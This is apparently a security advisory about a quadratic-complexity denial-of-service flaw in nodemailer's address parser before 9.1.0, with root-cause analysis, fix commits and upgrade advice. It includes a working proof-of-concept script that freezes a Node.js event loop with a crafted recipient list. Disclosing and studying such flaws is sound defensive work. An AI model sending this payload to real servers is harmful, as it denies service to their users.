nodemailer Quadratic ReDoS in addressparser (O(n²) address-list parsing)
Nodemailer's address parser builds its result array with Array.concat() inside a loop, causing CPU time to grow as the square of the number of addresses, letting any caller freeze a Node.js server…

The problem
In nodemailer before 9.1.0, lib/addressparser/index.js accumulates parsed addresses with parsedAddresses = parsedAddresses.concat(handled) on every loop iteration. Each call copies the entire accumulated array, so parsing n addresses does O(n²) total work.
Passing a crafted To, Cc, Bcc, From, or Reply-To value from user input triggers this on the normal send path. No authentication, special config, or network receiver is needed. A 1.5 MB address string (~200k comma-separated entries) blocks Node's single-threaded event loop for 25-30 seconds of 100% CPU, denying service to every concurrent request for the duration.
Proof of concept
A working proof-of-concept for this issue in nodemailer, with the exact payload below.
'use strict';
const addressparser = require('nodemailer/lib/addressparser');
// Measured on nodemailer 9.0.6:
// 25 000 addrs (~0.19 MB) => ~381 ms
// 50 000 addrs (~0.38 MB) => ~1435 ms
// 100 000 addrs (~0.76 MB) => ~7949 ms
// 200 000 addrs (~1.53 MB) => ~25154 ms (doubles input => ~4x time = O(n²))
const n = 200_000;
const payload = 'a@b.com,'.repeat(n); // flat, valid, comma-separated list
addressparser(payload); // blocks synchronously for ~25 s
// Same effect through the normal send API:
const nodemailer = require('nodemailer');
nodemailer
.createTransport({ jsonTransport: true })
.sendMail({
from: 'a@b.com',
to: 'a@b.com,'.repeat(150_000), // ~15+ s of 100% CPU inside addressparser
subject: 'x',
text: 'y'
});The root cause is CWE-407 (Inefficient Algorithmic Complexity). The one-liner parsedAddresses = parsedAddresses.concat(handled) allocates a brand-new array on every iteration and copies every element accumulated so far, producing the classic 1+2+3+...+n = O(n²) pattern.
Tokenisation and _handleAddress are both linear; the quadratic blowup is entirely this accumulator.
Commit 9116da9 replaced the concat with an in-place push (or equivalent), making the accumulator O(n). Commit 7cc38af (refined in 34da642) fixed the same shape in MimeNode#_convertAddresses, where a linear-scan deduplication loop also produced O(n²) cost for distinct recipients.
Commit 83b8c48 fixed a separate [].concat.apply call that threw a RangeError: Maximum call stack size exceeded past ~124k recipients. The 9.1.0 release also added a maxRecipients option (default 100,000) as a hard backstop.
The fix
Upgrade nodemailer to **9.1.0** or later (npm install nodemailer@latest). The patch rewrites all three quadratic paths to linear algorithms. Parsing 200k addresses now takes ~80 ms instead of ~25 s. If you call require('nodemailer/lib/addressparser') directly, the same upgrade covers that export.
As an additional layer, set maxRecipients in your transport options to reject oversized recipient lists before parsing begins.
Related research
- highCVE-2026-83614CVE-2026-83614: @xmldom/xmldom Quadratic-Time Parsing ReDoS (DoS)
- high · 7.5CVE-2026-84375CVE-2026-84375: js-yaml ReDoS via Empty Merge-Key Sources
- highShescape: Quadratic-Time Denial of Service in Flag Protection
- highCVE-2026-55685CVE-2026-55685: react-router Unauthenticated DoS via Inefficient Route Matching on Manifest Endpoint